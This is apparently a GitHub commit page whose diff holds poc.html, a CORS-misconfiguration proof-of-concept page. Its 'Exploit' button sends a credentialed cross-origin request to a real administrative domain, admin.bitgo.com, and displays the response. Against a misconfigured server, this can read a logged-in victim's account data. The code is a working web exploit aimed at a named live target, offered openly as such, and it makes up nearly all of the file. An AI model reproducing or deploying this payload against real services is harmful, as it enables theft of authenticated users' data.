Skip to content

Commit

Permalink
Add files via upload
Browse files Browse the repository at this point in the history
  • Loading branch information
khaledsamy411 authored Nov 7, 2023
1 parent 9f145fb commit cacb7de
Showing 1 changed file with 36 additions and 36 deletions.
72 changes: 36 additions & 36 deletions poc.html
Original file line number Diff line number Diff line change
@@ -1,36 +1,36 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>CORS</title>
</head>
<body>
<center>
<h1>CORS-od POC</h1>
<br />
<br />
<p>Your Website Is Vulnerable To CORS Misconfugration</p>
<hr />
<button onclick="exploit()">Exploit</button>
</center>
<br />
<hr />
<div id="demo"></div>
<script>
function exploit() {
var xhr = new XMLHttpRequest();
var url = "https://admin.bitgo.com";
xhr.onreadystatechange = function () {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("demo").innerHTML = this.responseText;
}
};
xhr.open("GET", url, true);
xhr.withCredentials = true;
xhr.send();
}
</script>
</body>
</html>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>CORS</title>
</head>
<body>
<center>
<h1>CORS-od POC</h1>
<br />
<br />
<p>Your Website Is Vulnerable To CORS Misconfugration</p>
<hr />
<button onclick="exploit()">Exploit</button>
</center>
<br />
<hr />
<div id="demo"></div>
<script>
function exploit() {
var xhr = new XMLHttpRequest();
var url = "https://admin.bitgo.com";
xhr.onreadystatechange = function () {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("demo").innerHTML = this.responseText;
}
};
xhr.open("GET", url, true);
xhr.withCredentials = true;
xhr.send();
}
</script>
</body>
</html>

0 comments on commit cacb7de

Please sign in to comment.